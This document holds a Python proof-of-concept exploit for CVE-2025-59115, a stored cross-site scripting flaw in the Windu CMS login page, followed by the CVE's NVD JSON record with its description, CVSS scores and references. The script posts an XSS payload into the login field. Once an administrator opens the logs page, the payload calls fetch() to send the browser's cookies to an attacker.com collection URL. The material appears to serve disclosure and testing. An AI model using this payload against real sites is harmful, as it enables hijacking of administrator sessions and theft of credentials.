CVE-2025-59115

import requests import sys # CVE-2025-59115 PoC - Windu CMS Stored XSS in Login Page # Target: Windu CMS <= 4.1 (before build 2250) TARGET_URL = "http://target-site.com" # Replace with target URL # XSS payload to be injected in login form fields XSS_PAYLOAD = '<img src=x onerror="fetch(\'http://attacker.com/steal?c=\'+document.cookie)">' def exploit_stored_xss(): """Inject XSS payload into Windu CMS login page""" login_url = f"{TARGET_URL}/login" # Login form data - inject XSS in any input field data = { 'login': XSS_PAYLOAD, # Username field 'password': 'anypassword', 'submit': 'Login' } try: response = requests.post(login_url, data=data, timeout=10) print(f"[*] Payload sent to {login_url}") print(f"[*] Status code: {response.status_code}") # When admin visits logs page, XSS will be triggered print("[*] XSS payload stored successfully") print("[*] Wait for admin to visit logs page at: /admin/logs") except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") sys.exit(1) if __name__ == "__main__": print("CVE-2025-59115 Windu CMS Stored XSS PoC") print("=" * 50) exploit_stored_xss()

{"cve": {"id": "CVE-2025-59115", "sourceIdentifier": "[email protected]", "published": "2025-11-18T15:16:33.887", "lastModified": "2025-12-05T13:16:04.050", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Windu CMS is vulnerable to Stored Cross-Site Scripting (XSS) in the logon page where input data has no proper validation. Malicious attacker can inject arbitrary HTML and JS into website, which will be rendered/executed when visiting logs page by admin.\n\nOnly version 4.1 was tested and confirmed as vulnerable.\nThis issue was fixed in version 4.1 build 2250."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:windu:windu_cms:4.1:*:*:*:*:*:*:*", "matchCriteriaId": "614EBC19-889B-4FC0-8937-C52F415D4835"}]}]}], "references": [{"url": "https://cert.pl/posts/2025/11/CVE-2025-59110", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://windu.org", "source": "[email protected]", "tags": ["Product"]}]}}